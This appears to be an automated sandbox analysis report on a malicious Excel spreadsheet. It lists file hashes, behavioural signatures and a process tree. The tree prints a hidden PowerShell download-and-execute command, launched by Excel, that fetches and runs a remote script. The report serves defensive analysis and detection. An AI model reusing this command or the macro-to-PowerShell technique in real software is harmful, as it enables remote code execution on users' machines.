Analysis
-
max time kernel
15s -
max time network
19s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
03/11/2024, 21:03
Behavioral task
behavioral1
Sample
ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09.xls
Resource
win10v2004-20241007-en
General
-
Target
ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09.xls
-
Size
30KB
-
MD5
347bea8e71a1fb34fe6c1f48cb77cef9
-
SHA1
8c24139f35afccaa2260d05e98a5547fed710527
-
SHA256
ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09
-
SHA512
a62f5088f7f2fcb8006902f32e8086bde72c199ee905ffd884f88fc60f3815e1c05a33aeff748a6533404fe8536c1371255c65e61719fd1120365d4d7d1f804f
-
SSDEEP
768:kK1Tgbyw3sz2jyngov9rjXjBCKTUAuulFFzqFVOp46msi:kK1Tgbyw3sz2jyngov9rjXjBCKoAuulQ
Malware Config
Extracted
http://127.0.0.1:8000/arquivos/windows.txt
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2992 2700 powershell.exe 30 -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2992 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2700 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2992 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2992 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 2700 EXCEL.EXE 2700 EXCEL.EXE 2700 EXCEL.EXE 2700 EXCEL.EXE 2700 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2700 wrote to memory of 2992 2700 EXCEL.EXE 31 PID 2700 wrote to memory of 2992 2700 EXCEL.EXE 31 PID 2700 wrote to memory of 2992 2700 EXCEL.EXE 31 PID 2700 wrote to memory of 2992 2700 EXCEL.EXE 31
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ea2ca4b289651f3b3414469ad106954407822ae10ae2a4ff08d35dadbf1f5f09.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2700 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -w hidden -noninteractive "IEX((new-object net.webclient).downloadstring('http://127.0.0.1:8000/arquivos/windows.txt'))"2⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2992
-